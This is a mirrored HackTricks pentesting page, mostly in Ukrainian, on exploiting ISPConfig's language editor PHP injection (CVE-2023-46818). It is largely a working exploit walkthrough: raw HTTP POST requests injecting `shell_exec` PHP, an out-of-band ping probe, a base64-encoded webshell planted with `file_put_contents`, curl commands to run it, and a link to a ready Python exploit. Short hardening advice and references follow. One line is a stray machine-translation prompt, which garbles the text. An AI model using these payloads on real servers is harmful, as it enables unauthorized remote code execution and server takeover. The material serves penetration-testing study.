mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.2 KiB
Markdown
92 lines
5.2 KiB
Markdown
# ISPConfig
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Огляд
|
||
|
||
ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation.
|
||
|
||
Ключові шляхи за замовчуванням:
|
||
- Корінь веб-сервера зазвичай знаходиться в `/var/www/ispconfig` при обслуговуванні через `php -S` або через Apache/nginx.
|
||
- Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward).
|
||
|
||
Порада: Якщо панель прив'язана локально (наприклад, `127.0.0.1:8080`), перенаправте її:
|
||
```bash
|
||
ssh -L 9001:127.0.0.1:8080 user@target
|
||
# then browse http://127.0.0.1:9001
|
||
```
|
||
## Language editor PHP code injection (CVE-2023-46818)
|
||
|
||
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||
- Preconditions:
|
||
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
|
||
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
|
||
|
||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||
|
||
### Manual exploitation flow
|
||
|
||
1) Open/create a language file to obtain CSRF tokens
|
||
|
||
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
|
||
|
||
2) Inject PHP via records[] and save
|
||
|
||
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
|
||
```http
|
||
POST /admin/language_edit.php HTTP/1.1
|
||
Host: 127.0.0.1:9001
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Cookie: ispconfig_auth=...
|
||
|
||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||
```
|
||
Позаканальний тест (спостереження ICMP):
|
||
```http
|
||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||
```
|
||
3) Створити файли та розмістити webshell
|
||
|
||
Використовуйте `file_put_contents` для створення файлу в веб-доступному шляху (наприклад, `admin/`):
|
||
```http
|
||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||
```
|
||
Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:
|
||
```http
|
||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||
```
|
||
Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.
|
||
```bash
|
||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||
```
|
||
Якщо PHP запускається від імені root (наприклад, через `php -S 127.0.0.1:8080` запущений root), це дає негайний root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
|
||
|
||
### Python PoC
|
||
|
||
Готовий до використання експлоїт автоматизує token handling та payload delivery:
|
||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||
|
||
Приклад запуску:
|
||
```bash
|
||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||
```
|
||
### Посилення захисту
|
||
|
||
- Оновіть до 3.2.11p1 або пізнішої версії
|
||
- Вимкніть редактор мов, якщо це не суворо необхідно:
|
||
```
|
||
admin_allow_langedit=no
|
||
```
|
||
- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
|
||
- Забезпечте надійну аутентифікацію для вбудованого облікового запису `admin`
|
||
|
||
## References
|
||
|
||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|